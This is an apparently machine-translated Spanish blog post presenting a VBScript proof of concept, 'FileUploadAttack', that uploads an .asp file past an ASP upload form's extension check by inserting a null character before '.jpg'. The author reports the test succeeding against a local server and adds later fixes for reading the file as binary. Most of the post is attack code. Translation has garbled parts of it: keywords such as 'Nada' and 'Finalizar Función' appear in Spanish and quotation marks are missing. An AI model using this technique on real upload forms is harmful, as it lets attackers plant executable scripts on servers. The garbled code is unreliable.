Algunos de los scripts de este artículo son ofensivos y están destinados únicamente a estudio e investigación. Úselos dentro del alcance legal y razonable. No soy responsable de las pérdidas causadas y no proporciono orientación técnica sobre ataques de piratería.
Demon mencionó este problema hoy y me recordó un artículo que vi antes "Carga automática de archivos usando IE+ADO sin interacción del usuario - VBSscript". Este artículo proporciona un ejemplo de un script de carga automática local no interactivo. Puede tomarlo prestado para hoy. El script original usa el componente InternetExplorer.Application. Lo reescribí y usé WinHttp.WinHttpRequest.5.1 para lograr una función similar. Para obtener más información sobre el uso de este componente, consulte la "Referencia del objeto WinHttpRequest".
Copie el código de la siguiente manera: OpciónFunción
explícita
file_get_contents(nombre de archivo)Dim fso, f
Set fso = WSH.CreateObject(Scripting.FilesystemObject)
Set f = fso.OpenTextFile(nombre de archivo, 1)
file_get_contents = f.ReadAll
f.Close
Set f = Nada
Establecer fso = Nada
Finalizar Función
' Código modificado de http://www.motobit.com/tips/detpg_uploadvbsie/
Class FileUploadAttack
Private m_objWinHttp
Private m_strUrl
Private m_strFieldName
Private Sub Class_Initialize()
Set m_objWinHttp = WSH.CreateObject( _
WinHttp.WinHttpRequest.5.1)
End Sub
Private Sub Class_Terminate( )
Colocar m_objWinHttp = Nada
End Sub
Public Sub setUrl(url)
m_strUrl = url
End Sub
Public Sub setFieldName(nombre)
m_strFieldName = nombre
End Sub
'Infrormations En encabezado de campo de formulario
Función mpFields(FieldName, FileName, ContentType)
Dim MPTemplate 'plantilla para encabezado de varias partes.
MPTemplate = Disposición de contenido: datos de formulario;
nombre de archivo = {archivo} + vbCrLf + _
Tipo de contenido: {ct} + vbCrLf + vbCrLf
Atenuar
Salida = Reemplazar (MPTemplate, {campo}, Nombre de campo)
Salida = Reemplazar (Salida, {archivo}, Nombre de archivo)
mpFields = Reemplazar ( Out, {ct}, ContentType)
End Function
'Convierte una cadena OLE en una cadena multibyte
Función StringToMB(S)
Dim I, B
For I = 1 To Len(S)
B = B & ChrB(Asc(Mid(S, I, 1)))
Next
StringToMB = B
End Function
'Crea un documento de datos de formulario/multiparte con el contenido del archivo y la información del encabezado
Función BuildFormData(FileContents, Boundary, _
FileName, FieldName)
Dim FormData, Pre, Po
Const ContentType = aplicación/carga
'Las dos partes alrededor del contenido del archivo En los datos del formulario de varias partes
Pre = -- + Límite +
.vbCrLf + mpFields(FieldName, _
FileName, ContentType)
Po = vbCrLf + -- + Boundary + -- + vbCrLf
'Crea datos de formulario utilizando el campo binario del conjunto de registros
Const adLongVarBinary = 205
Dim RS: Set RS = WSH.CreateObject(ADODB.Recordset)
RS.Fields.Append b, adLongVarBinary, _
Len(Pre) + LenB(FileContents) + Len(Po)
RS.Open
RS.AddNew
Dim LenData
'Convierte el valor de la cadena previa en datos binarios
LenData = Len(Pre)
RS(b).AppendChunk (StringToMB(Pre) & ChrB (0))
Pre = RS(b).GetChunk(LenData)
RS(b) =
'Convertir el valor de la cadena Po en datos binarios
LenData = Len(Po)
RS(b).AppendChunk (StringToMB(Po) & ChrB(0))
Po = RS(b).GetChunk(LenData)
RS(b) =
'Unir Pre + FileContents + Po datos binarios
RS(b).AppendChunk (Pre )
RS(b).AppendChunk (Contenido del archivo)
RS(b).AppendChunk (Po)
RS.Update
FormData = RS(b)
RS.Close
BuildFormData = FormData
Función final
Función pública sendFile(fileName)
Const Boundary = ---------------------0123456789012
m_objWinHttp .Open POST, m_strUrl, False
m_objWinHttp.setRequestHeader Tipo de contenido, _
multipart/form-data border= + Boundary
Dim FileContents, FormData
'Get; archivo fuente Como datos binarios
FileContents = file_get_contents(FileName)
'Lo siguiente construye la extensión de archivo malicioso Chr(0) & .jpg
'Construye un documento multiparte/form-data
FormData = BuildFormData(FileContents, Boundary, _
FileName & Chr(0). ) & .jpg, m_strFieldName)
m_objWinHttp.send FormData
sendFile = m_objWinHttp.Status
Función final
Función pública getText()
getText = m_objWinHttp.ResponseText
Función final Función
fin de clase
VVBMain()
VVBMain = 0
Dim fileUpload
Set fileUpload = New FileUploadAttack
'Necesita modificar el siguiente contenido al contenido apropiado
' Subir URL
fileUpload.setUrl http://localhost/upload/uploadfile.asp
fileUpload.setFieldName filepath 'El nombre del cuadro del formulario de carga
' La ruta del archivo que se va a cargar.
Si fileUpload.sendFile(E:/projects/asp/index.asp)=200 Entonces
MsgBox se cargó correctamente& fileUpload.getText()
De lo contrario
MsgBox fallóEnd
If
Set fileUpload = Nada
finaliza
la llamada
de funciónLa función de carga WScript.Quit(VBMain())
es una carga simple de archivos ASP encontrados en Internet y luego agregados al GetFileExtensionName que describí en el artículo "El origen de CHR(0) en ASP/VBScript y los problemas de seguridad". trae" Determina si la extensión es jpg.
Los resultados de la prueba son: cargar manualmente asp, falló, usar el script de ataque anterior para cargar archivos asp, ¡exitoso! De hecho, hay un archivo ASP en el directorio de carga. También se puede acceder a este archivo ASP a través de la URL del navegador, pero lo extraño es que la pantalla está en blanco. ¿Es un problema de la versión IIS? ¿Devolver el flujo binario del archivo? Bien, dejemos esta pregunta aquí por ahora. Hay otras cosas que hacer, así que dejemos de lado primero.
Todos los paquetes de código experimental se pueden descargar aquí upload.zip (para errores de código, consulte las instrucciones de actualización a continuación).
Actualizado el 25 de diciembre de 2011.
Según los comentarios de todos, el archivo cargado se convirtió en Unicode Little. Problema de codificación endian, en primer lugar, lo siento porque era muy vago en ese momento. La referencia del código principal es de un extranjero, y el extranjero explicó la función GetFile para obtener datos binarios del archivo. de esta función, y era demasiado vago para hacer lectura binaria, así que simplemente lo hice. File_get_contents obtiene datos de texto. Resulta que de hecho hay un problema con esto. Es mejor explicar las medidas correctivas a continuación. Perezoso y convierte directamente los datos de texto en datos binarios sobre la base existente. Usando el componente ADODB.Stream, la función es la siguiente:
Copiar el código El código es el siguiente:
'Convertir la cadena str del juego de caracteres especificado a
función binaria strtobin(str, charset)
Con WSH.CreateObject(ADODB.Stream)
. Tipo = 2
.Modo = 3
Abrir
.Charset = juego de caracteres
.WriteText str
.Flush
.Position = 0
.Type = 1
strtobin = .Read().
.Close
End With
End Function
Luego cambie la línea 106 del código anterior a lo siguiente (lea el texto en ASCII):
Copie el código de la siguiente manera:
FileContents = strtobin(file_get_contents(FileName), ASCII)
El archivo ASP cargado después de este cambio es normalmente archivo codificado, y luego el navegador accede a este archivo, puede ver que el ASP se analizó correctamente.
Sin embargo, esto parece un poco detallado. De hecho, puede abrir el archivo directamente en binario y devolver los datos. Aquí hay dos pasos: 1. Leer el archivo en modo texto. 2. Convertir el texto en datos binarios. El código de un solo paso puede hacer referencia a la siguiente función que lee datos de archivos en modo Byte() binario:
Copie el código de la siguiente manera:
'Devuelve el contenido del archivo como datos binarios
Función GetFile(FileName)
Dim Stream: Set Stream = CreateObject(ADODB) .Stream )
Stream.Type = 1 'Binary
Stream.Open
Stream.LoadFromFile FileName
GetFile = Stream.Read
Stream.Close
Set Stream = Nada
finaliza
No escribiré el código más optimizado deFunction
. Explica principalmente una idea de carga. Si desea obtener una implementación de carga completa, puede consultar el "Archivo de carga POST de simulación VBS" de Demon.